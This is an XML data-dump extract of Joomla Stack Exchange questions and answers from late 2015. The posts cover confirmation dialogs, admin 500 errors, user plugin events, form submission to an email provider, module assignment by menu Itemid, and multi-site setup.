  <row Id="14773" PostTypeId="2" ParentId="14760" CreationDate="2015-12-24T14:28:28.587" Score="1" Body="&lt;p&gt;The simplest way to implement a Confirmation dialog is on the client side, with Javascript routine. You can check how JToolbar does it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $bar = JToolbar::getInstance('toolbar');&#xA;&#xA;    // Add a trash button.&#xA;    $bar-&amp;gt;appendButton('Confirm', JText::_('COM_XXX_CONFIRM_PURGE'), 'trash', $alt, $task, $check, false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Javascript terms:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if (confirm('....')){Joomla.submitbutton('....');}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-12-24T14:28:28.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14774" PostTypeId="2" ParentId="9729" CreationDate="2015-12-25T07:25:18.127" Score="0" Body="&lt;p&gt;With a site with content after setup I will often make a second user for the content. I usually ask the client &quot;who do you want the main author name to be?&quot;. Then I can go to the articles and change the author, on ones that were not set up with that user.&lt;br&gt;&#xA;Renaming Super user can be the shortcut to this. Remember to reduce this user's permissions too. &lt;/p&gt;&#xA;" OwnerUserId="109" LastActivityDate="2015-12-25T07:25:18.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14775" PostTypeId="2" ParentId="13724" CreationDate="2015-12-25T07:34:14.467" Score="1" Body="&lt;p&gt;If you wanted to add the &quot;menu-2/&quot; to the path then make a menu item and then move the article menu item to have this as the &quot;parent&quot; it's a drop down menu on the left when editing the menu item. You can put menu items inside others for several levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would also get some auto creation of url paths if you had articles in categories and added a menu item of Category Blog or Category List type, as this will make a page listing all articles, and the link will include category in the path, if not added manually in the first way.&lt;/p&gt;&#xA;" OwnerUserId="109" LastActivityDate="2015-12-25T07:34:14.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14776" PostTypeId="1" CreationDate="2015-12-25T19:28:27.240" Score="2" ViewCount="6891" Body="&lt;p&gt;A new error on my website occured. I think I did not make any changes that could cause this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can login in admin normally and then when I click on everything except installed components there is 500 server error. In error logs I can find nothing about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any sugestions please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you! Filip&lt;/p&gt;&#xA;" OwnerUserId="7511" LastEditorUserId="126" LastEditDate="2016-01-25T08:34:21.207" LastActivityDate="2017-08-04T08:03:27.390" Title="500 error in administrator" Tags="|administration|error-pages|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14777" PostTypeId="1" CreationDate="2015-12-25T21:54:16.740" Score="0" ViewCount="399" Body="&lt;p&gt;What I'm trying to achieve is auto submit a subscribe form (with specific user details) to my email provider (similar to mailchimp), when a new user register to my joomla site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already defined a plugin with an event that triggers when a new user register to my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm really not sure how to auto submit a form or a url with the user details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the following line would do what I need but I don't know how to trigger it from my plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://cp.responder.co.il/subscribe.php?fields[subscribers_name]=Test&amp;amp;fields[subscribers_email]=test@test.com&amp;amp;form_id=1234&amp;amp;encoding=UTF-8&quot; rel=&quot;nofollow&quot;&gt;https://cp.responder.co.il/subscribe.php?fields[subscribers_name]=Test&amp;amp;fields[subscribers_email]=test@test.com&amp;amp;form_id=1234&amp;amp;encoding=UTF-8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how can I accomplish this would be really appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Omri&lt;/p&gt;&#xA;" OwnerUserId="7195" LastActivityDate="2016-02-24T20:18:47.457" Title="Submit form to other url within Joomla! plugin" Tags="|plugin|form|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14778" PostTypeId="2" ParentId="14776" CreationDate="2015-12-26T00:23:00.403" Score="2" Body="&lt;p&gt;Some things to try (assuming you can get to some or all of these pages):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;update to the latest version of Joomla (if you haven't already)&lt;/li&gt;&#xA;&lt;li&gt;update third party extensions to the latest versions&lt;/li&gt;&#xA;&lt;li&gt;switch to the alternative admin template to see if the issue is&#xA;template related&lt;/li&gt;&#xA;&lt;li&gt;check if you have any third party administrator modules installed and&#xA;if so, temporarily disable these to see if this helps&lt;/li&gt;&#xA;&lt;li&gt;similarly, check what third party plugins are installed and&#xA;temporarily disable these to see if this helps&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some other things to try are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;rename your &lt;code&gt;.htaccess&lt;/code&gt; file to &lt;code&gt;.htaccess.old&lt;/code&gt; and copy the default&#xA;&lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt; to test if the issue may be caused by&#xA;something in your &lt;code&gt;.htaccess&lt;/code&gt; file&lt;/li&gt;&#xA;&lt;li&gt;temporarily disable Search Engine Friendly URLs and URL Rewriting to see if this helps (if you can't get to Global Configuration in the back-end, edit the &lt;code&gt;configuration.php&lt;/code&gt; file and set &lt;code&gt;public $sef = '0';&lt;/code&gt; and &lt;code&gt;public $sef_rewrite = '0';&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;back up your website and try running the &quot;Reinstall Joomla core files&quot; option in Components -&gt; Joomla Update&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also check with your hosting company whether they have any ideas (e.g. could mod_security be causing this?).&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2017-08-04T08:03:27.390" LastActivityDate="2017-08-04T08:03:27.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14779" PostTypeId="2" ParentId="14755" CreationDate="2015-12-26T01:08:47.840" Score="0" Body="&lt;p&gt;As you suggest, it may be quickest and simplest to create a new Joomla install and transfer over the things you wish to keep.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SP Transfer &lt;a href=&quot;http://www.kainotomo.com/products/sp-transfer&quot; rel=&quot;nofollow&quot;&gt;http://www.kainotomo.com/products/sp-transfer&lt;/a&gt; or similar can help with this and you can be quite selective about what you want transferred (e.g. users, content, menus, modules etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd also need to reinstall any third party extensions which may or may not be straightforward depending on what is installed.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2015-12-26T01:08:47.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14780" PostTypeId="2" ParentId="14777" CreationDate="2015-12-26T10:09:27.477" Score="1" Body="&lt;p&gt;Firstly, a plugin does not usually generate a form. They are mostly oriented for internal processing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, a module is the right place to generate a form. Then, a form have an &lt;em&gt;action&lt;/em&gt; field were you can define the external Url to submit it. Additionally, you can define a &lt;em&gt;method&lt;/em&gt;, either &lt;em&gt;post&lt;/em&gt; or &lt;em&gt;get&lt;/em&gt; (in your case a &lt;em&gt;get&lt;/em&gt;). Finally, you can define the form fields to match your requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://developer.mozilla.org/en/docs/Web/HTML/Element/form&quot; rel=&quot;nofollow&quot;&gt;https://developer.mozilla.org/en/docs/Web/HTML/Element/form&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-12-26T10:09:27.477" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14782" PostTypeId="2" ParentId="2489" CreationDate="2015-12-26T18:07:37.660" Score="0" Body="&lt;p&gt;I found this component very powerful to manage multiple front ends with a single Joomla installation.&#xA;&lt;a href=&quot;https://codingmall.com/products-mainmenu-8/178-joomla-multi-sites-extension&quot; rel=&quot;nofollow&quot;&gt;https://codingmall.com/products-mainmenu-8/178-joomla-multi-sites-extension&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7513" LastActivityDate="2015-12-26T18:07:37.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14783" PostTypeId="2" ParentId="14777" CreationDate="2015-12-26T19:50:38.773" Score="0" Body="&lt;pre&gt;&lt;code&gt;$content = http_build_query (array (&#xA;            'fields[subscribers_name]' =&amp;gt; $user['name'],&#xA;            'fields[subscribers_email]' =&amp;gt; $user['email'],&#xA;            'form_id' =&amp;gt; '1234',&#xA;            'encoding' =&amp;gt; 'UTF-8'&#xA;            ));&#xA;&#xA;            $context = stream_context_create (array (&#xA;            'http' =&amp;gt; array (&#xA;            'method' =&amp;gt; 'POST',&#xA;            'content' =&amp;gt; $content,&#xA;            )&#xA;            ));&#xA;&#xA;            $result = file_get_contents('https://cp.responder.co.il/subscribe.php', null, $context);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7195" LastActivityDate="2015-12-26T19:50:38.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14784" PostTypeId="1" AcceptedAnswerId="14796" CreationDate="2015-12-26T20:04:58.343" Score="1" ViewCount="94" Body="&lt;p&gt;Does the method to save the JUser object to the database, JUser/save, triggers the onUserAfterSave event?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be really appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Omri&lt;/p&gt;&#xA;" OwnerUserId="7195" LastActivityDate="2015-12-28T09:59:39.607" Title="Does JUser/save method triggers onUserAfterSave event?" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14786" PostTypeId="2" ParentId="14740" CreationDate="2015-12-26T23:59:36.183" Score="0" Body="&lt;p&gt;Yes, but however normally one accesses a Joomla database from inside a Joomla application using the JDatabase object. See FFrewin's link in the comments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your example appears to be outside of a Joomla application, so your sql statement should look something like this, updated for your specific database schema, obviously.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT id, name, username, password, email FROM `xxx_users` WHERE `id` in (SELECT `user_id` FROM `xxx_user_usergroup_map` WHERE `group_id` = (SELECT `id` FROM `xxx_usergroups` WHERE `title` = 'Administrator'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't see why you couldn't schedule it to be done by a cron job. For that I suggest a separate question/search on Stack Over flow for: scheduling php scripts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;nja&lt;/p&gt;&#xA;" OwnerUserId="3779" LastActivityDate="2015-12-26T23:59:36.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14787" PostTypeId="2" ParentId="14752" CreationDate="2015-12-27T00:13:00.220" Score="0" Body="&lt;p&gt;For some custom components I found I had to add a &quot;wrapper&quot; feature to the js in the views to get them to work correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you are only having trouble with the script in the custom components section it may be a conflict in the way the component is loading scripts, as opposed to the way Joomla core handles scripts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    (function ($) {&#xA;        $(document).ready(function () {&#xA;            $(window).scroll(function(e){ &#xA;                var jQueryel = jQuery('.fixedElement'); &#xA;                var isPositionFixed = (jQueryel.css('position') == 'fixed');&#xA;                if ($(this).scrollTop() &amp;gt; 200 &amp;amp;&amp;amp; !isPositionFixed){ &#xA;                    $('.fixedElement').css({'position': 'fixed', 'top': '0px'}); &#xA;                    $('.fixedElement').addClass(&quot;bgNormal&quot;);&#xA;&#xA;                }&#xA;                if ($(this).scrollTop() &amp;lt; 200 &amp;amp;&amp;amp; isPositionFixed)&#xA;                {&#xA;                    $('.fixedElement').css({'position': 'absolute', 'top': '0px'}); &#xA;                    $('.fixedElement').removeClass(&quot;bgNormal&quot;);&#xA;                } &#xA;            });&#xA;        });&#xA;&#xA;    })(jQuery);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3779" LastActivityDate="2015-12-27T00:13:00.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14789" PostTypeId="1" AcceptedAnswerId="14791" CreationDate="2015-12-27T12:08:41.943" Score="0" ViewCount="31" Body="&lt;p&gt;I am trying to make a sort of bootstrap wizard with a progress bar. It is basically a series of three custom HTML modules with Step 1, Step 2 and Step 3.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &quot;Step 1&quot; module is shown on a page called www.mywebsite.com/&lt;strong&gt;pricing&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;The &quot;Step 2&quot; module is shown on a page called www.mywebsite.com/&lt;strong&gt;business&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;The final &quot;Step 3&quot; module is shown on a page inside the scheduling component called www.mywebsite.com/&lt;strong&gt;business?task=confirmapp&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At the moment I can't get two separate modules to show on the /business and /business?task=confirmapp pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The module I want to display on the page with the link &lt;strong&gt;business?task=confirmapp&lt;/strong&gt; (querystring) is called &quot;Wizard 3&quot; and I want to display it in a position called &quot;masthead&quot; on the specific page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this without too much coding?&lt;/p&gt;&#xA;" OwnerUserId="7517" LastEditorUserId="1629" LastEditDate="2015-12-27T13:44:28.637" LastActivityDate="2015-12-28T11:03:01.590" Title="Show module on specific page like /business?task=confirmapp" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14790" PostTypeId="1" CreationDate="2015-12-27T18:04:11.970" Score="0" ViewCount="273" Body="&lt;p&gt;I'm trying to add &lt;code&gt;data-uk-sticky&lt;/code&gt; attribute to a Joomla module that displays a sidebar menu (to make it sticky).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that, I created an alternative layout by copying&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/modules/mod_menu/tmpl/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/modules/mod_menu/tmpl/sticky.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the sticky.php file I wrapped the whole content in a div like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div data-uk-sticky&amp;gt;&amp;lt;ul class=&quot;nav menu&amp;lt;?php echo $class_sfx;?&amp;gt;&quot;&amp;lt;?php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the module admin, I can now select Sticky in the Alternative Layout configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when reloading the page I can't find the div I created. Why not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried copying the whole mod_menu to the template/html folder but the result is the same.&lt;/p&gt;&#xA;" OwnerUserId="5250" LastActivityDate="2015-12-27T18:04:11.970" Title="Add data attribute to module html - Joomla 3.4.8" Tags="|joomla-3.x|module|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14791" PostTypeId="2" ParentId="14789" CreationDate="2015-12-27T20:40:59.100" Score="2" Body="&lt;p&gt;Yes there is. Welcome to joomla's &quot;each page is tied to menu&quot; thing. Your problem can be solved by taking following steps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What you need:&lt;/strong&gt; an &lt;code&gt;Itemid&lt;/code&gt; so that you can identify a page in back-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What you're going to do&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a hidden menu, a menu that isn't displayed anywhere on the website. Sole purpose of this menu is to produce valid &lt;code&gt;Itemid&lt;/code&gt;s.   &lt;/li&gt;&#xA;&lt;li&gt;Create a new menu item with a relevant name, e.g., &quot;BS Wizard Final Step&quot;  &lt;/li&gt;&#xA;&lt;li&gt;Assign desired modules to this menu item  &lt;/li&gt;&#xA;&lt;li&gt;Note this menu items &lt;code&gt;Itemid&lt;/code&gt;  &lt;/li&gt;&#xA;&lt;li&gt;Use this &lt;code&gt;Itemid&lt;/code&gt; in query string for your last step, e.g, &lt;code&gt;business?task=confirmapp&amp;amp;Itemid=99&lt;/code&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This &lt;em&gt;should&lt;/em&gt; solve the issue.&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2015-12-28T11:03:01.590" LastActivityDate="2015-12-28T11:03:01.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14792" PostTypeId="1" AcceptedAnswerId="14795" CreationDate="2015-12-28T04:17:55.030" Score="1" ViewCount="195" Body="&lt;p&gt;I've been looking at &lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow&quot;&gt;Joomla 3.x plugin events&lt;/a&gt; to determine if a particular event gets triggered when a user's usergroup is changed. &lt;strong&gt;Update&lt;/strong&gt;-specifically I've been trying to detect an event that is triggered whenever a user is added to or removed from a group. I've not found anything that specific, but it seems like onUserAfterSave will fire. I tried to test this using a custom plugin, but when I edited the usergroups using the usermanager in the backend, I was unable to see anything. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can anyone confirm that onUserAfterSave will fire on usergroup&#xA;change?&lt;/li&gt;&#xA;&lt;li&gt;Does anyone know of any other events that would&#xA;fire on usergroup change?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-12-28T10:08:52.490" LastActivityDate="2016-09-17T05:30:58.670" Title="What Joomla events are triggered when a usergroup is changed?" Tags="|joomla-3.x|plugin|user-groups|plugin-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14793" PostTypeId="1" CreationDate="2015-12-28T06:20:25.780" Score="1" ViewCount="67" Body="&lt;p&gt;I have migrated my website from Joomla 2.5 to Joomla 3.4.8. I am using Rocketheme template and menu type is Fusion menu and want to show sub-text below some menus. But it is not working after the update. The split menu option is working absolutely fine but fusion menu is not displaying the subtext.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although this was working fine in Joomla 2.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindly, guide&lt;/p&gt;&#xA;" OwnerDisplayName="user5491" LastEditorUserId="3650" LastEditDate="2016-03-06T21:34:02.833" LastActivityDate="2016-03-06T21:34:02.833" Title="Rocketheme template Ionosphere Fusion menu Subtext not working" Tags="|joomla-3.x|menu-parameters|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14794" PostTypeId="2" ParentId="14752" CreationDate="2015-12-28T08:14:49.297" Score="0" Body="&lt;p&gt;Ok after alot of searching i find out that this was a mainly css issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$(window).scroll()&lt;/code&gt; wouldn't trigger because the &lt;code&gt;#content div&lt;/code&gt; was getting a random rule that wouldn't let it &lt;code&gt;overflow&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;$(window)&lt;/code&gt; wouldn't scroll no matter what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fixing that, made it work like a charm!&lt;/p&gt;&#xA;" OwnerUserId="2225" LastActivityDate="2015-12-28T08:14:49.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14795" PostTypeId="2" ParentId="14792" CreationDate="2015-12-28T09:11:56.977" Score="1" Body="&lt;p&gt;Not sure if you want event for changing user's usergroup (on user edit view) or just event which is triggered on editing specific usergroup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Changing user will trigger (documented)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;onUserBeforeSave&lt;/li&gt;&#xA;&lt;li&gt;onUserAfterSave&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Changing usergroup will trigger (undocumented, &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/administrator/components/com_users/models/group.php#L26-L33&quot; rel=&quot;nofollow&quot;&gt;see source code&lt;/a&gt;)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;onUserBeforeSaveGroup&lt;/li&gt;&#xA;&lt;li&gt;onUserAfterSaveGroup&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-12-28T09:11:56.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14796" PostTypeId="2" ParentId="14784" CreationDate="2015-12-28T09:59:39.607" Score="1" Body="&lt;p&gt;Yes, it does, if &lt;code&gt;onUserBeforeSave&lt;/code&gt; event dosen't result in any errors. See &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/user/user.php#L807&quot; rel=&quot;nofollow&quot;&gt;source code&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-12-28T09:59:39.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14799" PostTypeId="2" ParentId="2489" CreationDate="2015-12-28T11:33:11.470" Score="4" Body="&lt;p&gt;&lt;strong&gt;Shared Hosting&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a hosting provider restriction is causing you to consider a Joomla multi-site solution, then it may be easier to find an alternative host and build the websites individually than complicating things with a Joomla multi-site which will inevitably involve some compromises.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most shared hosting accounts can be configured to host more than one Joomla website either by creating multiple databases or by using different table prefixes in the same database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Multi-site vs Individual Sites&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously there are pros and cons to building separate websites compared to combining them into one Joomla install. You need to think carefully about whether a multi-site solution will work for the particular scenario and you may need to make some compromises.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is more difficult to set up a multi-site website initially but less ongoing maintenance is required as you only need to apply Joomla and third party updates and run backups etc on one website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If something breaks on a multi-site solution, you may lose all the websites rather than just one website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that not all third party extensions work as intended on a multi-site solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Official Multi-site Solution Not Recommended&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The official instructions at &lt;a href=&quot;http://docs.joomla.org/Multiple_Domains_and_Web_Sites_in_a_single_Joomla!_installation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Multiple Domains and Web Sites in a single Joomla! installation&lt;/a&gt; direct you to edit the template &lt;code&gt;index.php&lt;/code&gt; file. This is not considered best practice as template updates can overwrite your changes in future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Third Party Multi-site Extension&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is probably better to use a third party extension such as the free &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/multiple-sites/virtual-domains&quot; rel=&quot;nofollow noreferrer&quot;&gt;Virtual Domains&lt;/a&gt; or similar which avoids hacking the core code.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note: The remainder of this answer is written from limited experience with one implementation of &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/multiple-sites/virtual-domains&quot; rel=&quot;nofollow noreferrer&quot;&gt;Virtual Domains&lt;/a&gt;. The items listed may or may not be relevant to other third party multi-site extensions or even &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/multiple-sites/virtual-domains&quot; rel=&quot;nofollow noreferrer&quot;&gt;Virtual Domains&lt;/a&gt; configured in a different way.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Multi-site Content&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create separate content categories for each website (this is important for search).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Multi-site Modules&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modules aren't so easy to categorise as some modules may be common to all websites. You could use the Joomla 3.x &quot;Note&quot; feature to help keep track of which modules apply to which websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Multi-site Template(s)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will the individual websites have their own look and feel? If so, it is probably easiest to install a different template for each website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/multiple-sites/virtual-domains&quot; rel=&quot;nofollow noreferrer&quot;&gt;Virtual Domains&lt;/a&gt; enables you to specify a different template for each website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Multi-site Menu(s)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will the individual websites have their own menus or share a common menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using RocketTheme Gantry 4 templates I found it was easier to set up one menu and use the &quot;Menu Filtering&quot; feature in &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/multiple-sites/virtual-domains&quot; rel=&quot;nofollow noreferrer&quot;&gt;Virtual Domains&lt;/a&gt; to specify which menu options applied to each website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/multiple-sites/virtual-domains&quot; rel=&quot;nofollow noreferrer&quot;&gt;Virtual Domains&lt;/a&gt; enables you to specify a home menu item for each website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Multi-site Search&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming search results should be limited to the website that is being searched, enable Smart Search and create a filter for each website at Components -&gt; Smart Search -&gt; Search Filters by selecting appropriate categories for each website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then create a Smart Search module for each website using the appropriate filter you have created for each website. Set up the Menu Assignment in each search module so the modules are displayed on the appropriate pages on each website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Multi-site Global Configuration Items&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, the multi-site extension you choose should let you specify unique Global Configuration items for each website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/multiple-sites/virtual-domains&quot; rel=&quot;nofollow noreferrer&quot;&gt;Virtual Domains&lt;/a&gt; lets you specify a unique Site Name, From Email, From Name, Meta Description and Meta Keywords for each website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Multi-site Search Engine Friendly Urls&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With SEF enabled, each page requires a unique url across all the websites. For example, if I have two websites in the multi-site website, www.acmeproducts.com and www.acmeservices.com, then they can't both have about us pages like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;www.acmeproducts.com/about-us&lt;/li&gt;&#xA;&lt;li&gt;www.acmeservices.com/about-us&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The urls need to be unique so the about us pages will need to be more specific like this or similar:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;www.acmeproducts.com/about-acme-products&lt;/li&gt;&#xA;&lt;li&gt;www.acmeservices.com/about-acme-services&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Multi-site User Accounts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, registered users on one website will be registered users on all the websites which may or may not be an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this gives some idea of what needs to be considered before being able to decide if a multi-site solution is appropriate for the particular scenario.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2017-07-26T23:16:15.273" LastActivityDate="2017-07-26T23:16:15.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
